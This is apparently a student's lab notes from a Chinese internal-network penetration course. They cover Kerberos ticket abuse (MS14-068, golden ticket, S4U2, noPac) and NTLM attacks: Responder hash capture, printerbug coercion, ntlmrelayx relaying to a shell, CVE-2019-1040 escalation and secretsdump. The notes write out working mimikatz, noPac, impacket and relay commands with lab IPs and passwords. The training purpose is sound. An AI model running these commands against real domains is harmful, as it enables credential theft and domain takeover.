奇安信-内网渗透实训笔记

环境准备

首先准备这两个虚拟机

1.server服务端

修改名称

修改计算机名字,方便与后面的区分,修改为DC

添加角色

一直点下一步,最后点击安装

回到整理后发现差这个

点击这里进行安装

报错是因为密码太简单,把密码改为qax@123,修改密码:ctrl+shift+delete

修改后,这里设置为test.com

完成后,看看这个主机的ip,

作为cilent端的DNS服务器

在这里创建一个krbuser,密码qax@123

2. cilent端

登录刚刚创建的用户

测试工具解释

Kerberos 协议版本号,固定为 5

msg-type:请求类型,这里选择的 KRB_AS_REQ 是向 KDC 发起的初始认证请求

PA-DATA(预认证数据)

  • PAPAC_REQUEST:请求在票据中包含 PAC(特权属性证书),include-pac 表示强制包含。
  • ENCTIMESTAMP:包含加密时间戳,用于防止重放攻击。
  • REQ-BODY(请求主体)
    • cname:客户端名称,这里是用户 krbuser。
    • sname:目标服务名称,krbtgt 是 KDC 的核心服务,用于颁发 TGT。
    • realm:域名,这里是 test.com。
    • nonce:客户端生成的随机数,用于确保响应的唯一性,防止重放。
    • till:请求票据的有效期截止时间(默认到 2037 年)。
    • rtime:指的是票据能够被续期的最后时间点
  • etypes:支持的加密算法列表,如 aes128cts_hmac_sha1、rc4-hmac 等。
  • KDC Options:向 KDC 传递的选项标志,如 RENEW(允许续期票据)、PREAUTHENT(要求预认证)。

2. 响应包(右侧显示区)

  • AS REP:KDC 返回的认证服务响应,包含加密的 TGT 和会话密钥。
  • 解密:使用用户密钥解密响应包,提取票据和用户信息。
  • 导出票据:将获取的 TGT 或服务票据导出为文件,用于后续攻击(如票据传递)。

KDC,TGT,PAC概念

响应包介绍

🔹 头部信息

  • Record Mark: 218 bytes

这个数据包的总长度为 218 字节。

  • pvno: 5

代表 Kerberos 协议的版本号,当前通用版本为 5。

  • msg-type: krb-as-req (10)

表明这是一个 AS-REQ 类型的请求,是客户端向 KDC 发起的第一步认证请求。


🔹 padata(预认证数据,Pre-Authentication Data)

这是 Kerberos 为了防止重放攻击而设计的预认证机制,包含 2 个项目:

  1. PA-DATA pA-PAC-REQUEST
    • padata-type: pA-PAC-REQUEST (128)

请求在后续返回的票据中包含 PAC(Privilege Attribute Certificate,特权属性证书),这是 Windows 域环境特有的扩展,用于携带用户的权限和组信息。

    • padata-value: 3005a003010101

这是 ASN.1 编码的二进制数据,解码后表示 include-pac: True,即明确要求包含 PAC。

  1. PA-DATA pA-ENC-TIMESTAMP
    • padata-type: pA-ENC-TIMESTAMP (2)

包含一个客户端生成的加密时间戳,用来证明请求是 “新鲜的”,防止攻击者重放旧的认证请求。

    • padata-value: ...

这是用客户端密钥加密后的时间戳数据。

    • etype: eTYPE-ARCFour-HMAC-MD5 (23)

加密算法为 ARCFOUR-HMAC-MD5(Windows 域环境中常用的兼容算法)。


🔹 req-body(请求主体)

这是请求的核心内容,包含客户端的身份和请求参数:

  • Padding: 0

为了让数据包长度符合块加密算法的要求而填充的字节数,此处无需填充。

  • kdc-options: 00000000

向 KDC 传递的选项标志,这里没有设置任何特殊选项。

  • cname(客户端名称)
    • name-type: KRB5-NT-PRINCIPAL (1)

表示这是一个用户主体名称。

    • cname-string: krbuser

客户端的用户名是 krbuser。

客户端所在的域是 test.com。

  • sname(服务名称)
    • name-type: KRB5-NT-SRV-INST (2)

表示这是一个服务实例名称。

    • sname-string: krbtgt + test.com

请求的是 krbtgt(Kerberos Ticket Granting Ticket) 服务,这是 KDC 用来颁发票据的核心服务。

  • till: Sep 13, 2037 18:48:05

请求票据的有效期截止时间(Kerberos 协议的默认最大有效期)。

  • nonce: 1818848256

客户端生成的随机数,用于防止重放攻击,并确保响应的唯一性。

  • etype: eTYPE-ARCFour-HMAC-MD5 (23)

客户端期望 KDC 使用的加密算法。

实验1

1.票据的使用

1.获取身份证(KRB AS REQ)

发包之后导出一个人身份验证的包

2.使用身份证办签证(KRB TGS REQ)

现在发TGS请求就可以选服务了

现在是查看不了08机的目录的,说明krbuser的权限不够

在windows里面访问域控时,默认使用kerberos协议

查看票据可以看出,他是申请访问的是cifs的服务,也就是文件传输的服务,类似于ftp

先清空这些票据

3.想去哪里(cifs协议)

在这里输入:cifs/DC.test.com,发包成功后,到处票据,并重命名krbuser

但我们拿到的这个是一个文件的格式,我们怎么把它导入cmd,变成像刚刚的这样呢?

就用一个工具

cmd打开

现在这个票据就变了

所以说,根据windows特性,不管当前用户是哪个,都是可以用票据的,就算和本机名不一样也可以

但是还是拒绝访问了,因为krbuser也是一个普通用户

4.只有管理员才可以去(管理员身份访问目标目录)

那把这个改成这个,然后在重复刚刚的步骤

在做题中,如果看到了flag.txt

但是查看时,说密码账户不正确

net use \\QAXDC1.qax.com\c$后,输入账户密码

type \\QAXDC1.qax.com\c$\flag.txt

实验2 MS14-068漏洞

1.漏洞介绍

2.利用思路

1. 发起一个 PA_PAC_REQUEST 里面选择 include_pac 为 false。此时对生成的 TGT 票据是不含有PAC

2. 伪造一个 PAC。sid 为当前用户的 sid。将管理员组的 sid 加进 Groupld

需要修改的部分:

修改之后:

3. 利用 pykek 的代码制作一个 PAC

他需要py2的环境,终于在kali里面找到了

4. 发起 TGS_REQ, 此时的 TGT 是不包含 PAC 的,然后在 encauthorization-data 加入我们伪造的 PAC。

5. 利用 mimikatz 发起 pass the ticket Attack

注意:

1.速度要快,不然时间戳会失效

2.如果遇见

刚刚可以,现在就不行的情况(他会提示用户名密码不正确 或者 路径不对 或者 网络错误)

那就用猕猴桃重新导入构造的TGT,然后再重新用命令,我遇见很多次,就是每次只能用一个命令,命令是一次性的

3.黄金票据制作

刚刚哪个实验就看出来了,我们的权限没法一直维持,很多时候输一个命令,TGT就失效了,而黄金票据(Golden Ticket)是攻击者伪造的 Kerberos TGT 票据,它的核心价值在于让攻击者能长期、隐蔽地控制整个域。

1.远程域控的数据库同步

实现的前提:一定要快!!!!!!!!!!

如果说:制作“域控”相关服务,就用:

lsadump::dcsync /domain:qax.com /user:qaxdc1$

如果说:获取用户,就只修改user后面的内容

2.黄金票据制作

用记事本把这些数据保存起来

实验3 s4u2提权

1.在win2008新建用户,注册服务

现在注册的用户只是一个普通用户,他不具备服务或者代理的属性,有这一功能的用户会议一个这样的字段

那现在就可以设置一个

setspn -A wusuowei/wusuowei.cn s4u2-115

这个就相当于,我现在要去注册一个公司,就算我不用他,我也可以享用法律对公司的资源,就算是一个空公司,徒有其名,但只要存在,就可以享有某种权利,而wusuowei.wusuowei.cn就是这个空公司的服务,创造一个不存在的服务,但就是他,告诉了服务器,这个公司是存在的

所有现在就可以看到,他已经有了这个公司相关的权利了

勾选中

2.在win10发身份认证AS

去抓包看看

这里发现client和server的名字一样

说明,这里是s4u2让administrator申请一张访问s4u2(也就是我自己)的票据,而这个是为后面的proxy做准备的

3.在win2008中在s4u2注册完服务后添加服务类型cifs

proxy就是一个代理,为了让普通的公司(s4u2)去访问国家资源的的代理,而这些资源是国家(服务器)规定的,不能乱套

所以现在要服务器给我们分配资源

4.回到win10中发包

第一次

第二次

第三次

发包

现在就得到了一张从administrator到域控的票据

5.最后移动到mimikatz的文件夹里面,再用mimkatz进行操作

实验4 noPac一句话编票据

1.查看计算机名字

net group "domain computers" /domain

2. noPac一句话编票据

noPac.exe -domain test.com -user krbuser -pass qax@123 /dc DC.test.com /mAccount demo1 /mPassword qax@123 /service cifs /ptt

noPac.exe -domain test.com -user ZhangZhicheng -pass P@ssw0rd /dc DC.test.com /mAccount demo1 /mPassword qax@123 /service cifs /ptt

其中demo1是名称,是不能重复的

4741_4742_4742_4768_4742_4769

3.过程和原理

下面来说这个过程:

只看三个关键词:计算机账户管理,kerberos身份验证服务,

1. 事件ID 4741
操作:添加机器账户(创建 demohb$ 账户)
说明:利用普通域用户权限(krbuser)创建新的计算机账户,为后续欺骗做准备。


2. 事件ID 4742
操作:清除机器账户的 servicePrincipalName(SPN)
说明:将 demohb$ 的 SPN 属性清空,使其在 KDC 中看起来像“域控制器账户”(没有 SPN)。


3. 事件ID 4742
操作:请求该机器账户的 TGT(此时无 SPN)
触发漏洞:KDC 在找不到 demohb(无 $ 后缀)的 SPN 时,会错误地查找 demohb(如果存在,则使用其 SID/权限),此即 CVE-2021-42287


4. 事件ID 4768
操作:Kerberos 身份验证票证(TGT)请求成功
说明:KDC 返回了 TGT,其 SID 实际上是域控制器账户的 SID(因为查询时匹配到了不带 $ 的 DC 账户)。


5. 事件ID 4742
操作:将机器账户改回 demohb$(恢复 SPN)
说明:避免账户属性异常引起注意,同时为后续正常操作做准备。


6. 事件ID 4769
操作:使用 S4U2Self 获取域控服务的服务票据(例如 cifs/DC$)
说明:利用上一步获得的 TGT(具有 DC SID),通过 S4U2Self 扩展请求域控服务的 ST,实现权限提升。

而其他的id:

事件ID

在攻击中的典型触发操作

4624

票据传递后成功访问目标共享(C$)

4634

访问会话结束

4776

攻击主机向KDC请求Kerberos票证

4781

机器账户改名(如果执行了改名操作)

NTLM

1.在win10里面打开smb服务

勾选这两个服务并重启

在cmd输入命令:net use /kali ip/随便输几个字母

不用输入用户名

2.在kali启动responder:

responder -I eth0 -wrf 或

responder -i 192.168.10.128(kali的IP) -I(大写的i) ALL -v

我的是:responder -i 192.168.113.138 -I ALL -v

为什么我在win10里面没有输入用户名,但是在kali里面可以看到我的用户名?

你没有手动输入用户名,但 Responder 还是能看到用户名和 Hash,是因为 Windows 在发起 SMB 连接时会自动使用当前登录用户的凭据进行认证。Responder 通过毒化 SMB 响应,欺骗客户端向它发送认证信息,从而捕获到了 NTLMv2 Hash。

3.抓取流量

wireshark抓包:过滤:smb || smb2

1. SMB 认证流程(Frame 12-20)

  • Frame 12-16:SMB2 协议协商(Negotiate Protocol)
  • Frame 17:Windows 客户端发起 Session Setup Request,包含 NTLMSSP_NEGOTIATE
  • Frame 18:服务器(Responder)回应 NTLMSSP_CHALLENGE(质询)
  • Frame 19关键帧,客户端发送包含 NTLMSSP_AUTH 的认证信息,其中包括:
    • 用户:TEST\krbuser
    • NTLMv2 Hash(在流量中是以加密形式传输的)
  • Frame 20:服务器返回 STATUS_ACCESS_DENIED(认证失败)

这就是为什么 Responder 能获取用户名和 Hash 的原因:

  • 客户端在 Frame 19 中自动使用当前登录用户 TEST\krbuser 进行认证
  • Responder 捕获了这个 NTLMv2 Hash

2. 其他可疑流量

  • Frame 32/36/834/1855:来自 192.168.113.152 的 SAM LOGON request,这是域控 DC.TEST.COM 在尝试认证,可能是因为 NBT-NS 毒化导致的
  • Frame 63:来自 192.168.113.152 的 Browser Host Announcement,表明它是域控制器、时间源、DFS 服务器等

3.为什么还在不断发包?

1. NBT-NS 毒化仍在生效

  • Responder 还在持续毒化 NBT-NS/LLMNR 请求
  • 网络中可能有其他主机(包括域控)在尝试解析 DC.TEST.COM 或其他名称
  • Responder 伪造响应,导致这些主机不断尝试连接攻击者的 IP(192.168.113.138)

2. 域控在尝试认证

  • 那些 SAM LOGON request 是域控在尝试向攻击者机器认证(因为被毒化了)
  • 这是因为 Responder 还在运行,继续欺骗网络中的名称解析请求

3. 浏览器协议通告

  • Frame 63 是 Windows 网络浏览协议(Browser Protocol)的主机通告
  • 域控会定期广播自己的存在和服务(每 12-15 分钟一次)
  • 这是正常的 Windows 网络行为,不是攻击流量

4. 如果你在 Windows 上还在运行 net use 或类似命令

  • 系统可能还在重试连接
  • 或者有其他服务在后台尝试访问网络资源

4.整个攻击流程

🎬 场景设定

人物角色:

  • 你(攻击者):Kali Linux(IP:192.168.113.138)
  • 受害者:Windows 10(IP:192.168.113.134)
  • 无辜群众:域控 DC(IP:192.168.113.152)

攻击目标:

获取 Windows 10 用户的登录密码(Hash)


📚 第一部分:基础知识(必须懂的!)

1. 什么是 NTLM?

想象一下你去银行取钱:

  • NTLM 就像 Windows 的“身份验证协议”
  • 它证明了“你是你”,不用每次都输入完整密码
  • 但它有个致命弱点:在网络上传的是“密码的替身”

2. 什么是 Hash(哈希)?

  • 不是你的原始密码,而是密码的数学指纹
  • 比如:密码 Password123 → Hash A1B2C3D4...
  • 重要特性:Hash 不能反推出密码,但可以验证密码

3. 什么是 Responder?

  • 网络“骗子”工具:假装成别人来“骗”信息
  • 在网络中喊:“我是打印机!”、“我是文件服务器!”
  • 等别人来连接时,偷看他们的“身份证”(用户名和Hash)

🎭 第二部分:攻击原理(剧本)

攻击的大致思路:

text

1. 你(Kali)在网络上喊:“我是文件服务器!”

2. Windows 10 想访问文件服务器,就来找你

3. Windows 10:“请验证我的身份”(发送用户名和Hash)

4. 你记录下这个信息,然后说:“验证失败!”

5. 你得到了 Windows 10 的“身份证复印件”


🔧 第三部分:详细攻击步骤(一步一步来)

步骤1:设置攻击环境

你在 Kali 上输入:

bash

responder -i 192.168.113.138 -I ALL -v

这行命令的意思是:

  • -i 192.168.113.138:用这个 IP 地址进行攻击
  • -I ALL:毒化所有协议(SMB、HTTP、FTP等)
  • -v:显示详细信息

相当于你在网络中说:

  • “我是文件服务器(192.168.113.138)!”
  • “我也是打印机!”
  • “我还是网站!”

步骤2:受害者上钩

在 Windows 10 上,你输入:

cmd

net use \\192.168.113.138\asd1

这个命令的意思是:

  • 连接到 192.168.113.138 这个“文件服务器”
  • 访问名为 asd1 的共享文件夹

但关键来了! Windows 10 其实在说:

“我想访问文件服务器,让我用当前登录的账户自动登录吧!”


步骤3:自动认证的发生

为什么不用输密码? 因为 Windows 有个“懒人功能”:

  1. 你登录 Windows 时:输入了用户名 krbuser 和密码
  2. Windows 记住了:把“密码指纹”(Hash)存在内存里
  3. 访问网络资源时:Windows 自动用这个 Hash 去认证

相当于:

  • 你上班刷了工卡进门(登录 Windows)
  • 去食堂吃饭时,不用再刷卡,脸一扫就行(自动认证)
  • 但有人偷偷拍了你的脸照片(Responder 捕获了Hash)

步骤4:Responder 捕获信息

当 Windows 10 发送认证信息时,Responder 看到:

text

有人来连接了!

用户名:TEST\krbuser

密码Hash:krbuser::TEST:1afd67f2edbe2313:D1750EC04FBC0D6B1B14CB0516C9A376:...

然后 Responder 说: “密码错误,不让进!”
但实际上它已经把信息记录下来了。

5.脚本printerbug攻击(在kali进行):要关闭防火墙

在win10机里面

python3 printerbug.py test.com/krbuser@192.168.10.133(攻击对象,必须要具有打印机服务) 192.168.10.128(回链IP,kali)

responder -i 192.168.113.138 -I ALL -v

python3 printerbug.py test.com/krbuser@192.168.113.134 192.168.113.138

前面ip是win10主机,后面是kali

这次回显的,是主机名字

在08主机上

把打印服务开启

 

就成功了,显示出主机的名字:DC

实现成功的注意事项:

1.关闭防火墙

2.开启打印服务

3.做完前两步后重启

原理:

一、技术依赖关系

1. 攻击目标的特定服务

  • Printer Bug 攻击针对的是 Print Spooler 服务(spoolsv.exe)
  • 该服务监听 RPC 端点,提供 MS-RPRN 协议接口
  • 没有运行 Print Spooler = 没有 RPC 接口 = 无法触发攻击

2. RPC 接口的注册

当 Print Spooler 启动时,它会:

text

1. 启动 spoolsv.exe 进程

2. 向 RPC Endpoint Mapper(端口135)注册接口

3. 注册 UUID:12345678-1234-ABCD-EF00-0123456789AB

4. 开始监听动态 RPC 端口

攻击者只能连接到已注册的 RPC 接口。

二、攻击触发的具体流程

服务未运行时的状态:

text

攻击者 → 连接到目标 IP:135

        ↓

    RPC Endpoint Mapper

        ↓

    "查找 MS-RPRN 接口"

        ↓

    "接口未注册" → 攻击失败

服务运行时的状态:

攻击者 → 连接到目标 IP:135

        ↓

    RPC Endpoint Mapper

        ↓

    "MS-RPRN 接口已注册,端口 49152"

        ↓

    连接到端口 49152

        ↓

    调用 RpcRemoteFindFirstPrinterChangeNotificationEx()

        ↓

    触发强制认证

为什么必须开启打印服务?

1. 攻击代码调用的是 Print Spooler 服务的 RPC 接口

2. 只有 spoolsv.exe 进程实现了 MS-RPRN 协议

3. 只有该服务有 RpcRemoteFindFirstPrinterChangeNotificationEx() 函数

4. 该函数才会触发向任意 IP 的认证连接

5. 服务未运行 → 接口不存在 → 攻击无效

偷取目标主机的cmd界面

1.注意事项

先打开root,输入responder-MultiRelay -h,如果没有报错,就直接执行后文命令

如果报错了,先更新:apt-get update

然后根据报错信息下载x86_64-w64-mingw32-gcc之类的东西。

问题:Warning: GPG 错误:http://kali.download/kali kali-rolling InRelease: 由于没有公钥,无法验证下列签名: NO_PUBKEY ED65462EC8D5E4C5

Error: 仓库 “http://http.kali.org/kali kali-rolling InRelease” 没有数字签名。

解决:sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg

2.远程链接cmd

老师给的这个软件很好用,但是用不起,你就在kali上用其他命令代替

impacket-ntlmrelayx -t 192.168.113.134 -smb2support -i

要先关闭刚刚启用的responder -i 192.168.113.138 -I ALL -v的这个指令

步骤1:启动 ntlmrelayx(目标设为 134)终端1

# 终端1

impacket-ntlmrelayx -t 192.168.113.134 -smb2support -i

步骤2:从域控(154)触发认证

python3 printerbug.py TEST.com/krbuser@192.168.113.154 192.168.113.138

注意:这里是让 域控(154) 向你的 Kali(138)认证,然后中继到 目标主机(134)

步骤3:连接到交互式 Shell

打开新的终端窗口,运行:

nc -nv 127.0.0.1 11000

这里他并不知道windows的命令,要换方法,输入help查看所有可用的命令,就可以对于去找了

CVE-2019-1040

1.复现过程

impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151(win08) -smb2support

这个命令的意思是remove(接触)mic协议,escalate(提升)krbuser用户权限,使用ldap对准用户,支持smb2协议

impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151 -smb2support

步骤一:攻击,开监听窗口

impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151 -smb2support

现在窗口一输这样的命令

但是我这里端口冲突了

sudo netstat -tlnp | grep :445

sudo kill -9 5319

关闭窗口,重启命令,监听成功

步骤二:触发监听

关闭win10防火墙后,在kali里面输入

python3 printerbug.py test.com/krbuser@192.168.113.134 192.168.113.138

- 认证成功 ✓

- 域信息转储 ✓

- 但没有权限提升 ✗

- 没有 DCSync 权限 ✗

步骤三:修改权限

来分析失败的过程:

1. 客户端 (192.168.113.134) → 连接 Kali 的 SMB 服务器

2. Kali 中继凭证 → 目标 DC (192.168.113.151)

3. 使用计算机账户身份 (WIN-OB2UAQDOEBO$) 认证

4. DC 检查:计算机账户有什么权限?

5. 结论:计算机账户不能修改 Domain Admins 成员

6. 攻击失败 ✗

现在去域控里面修改

步骤四:提权成功

这个输出显示 NTLM 中继攻击取得了全面的成功,krbuser 的权限已经被显著提升。

步骤五:信息收集

现在就可以去拿他的哈希

python3 secretsdump.py qax.com/krbuser@192.168.113.152 -just-dc

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值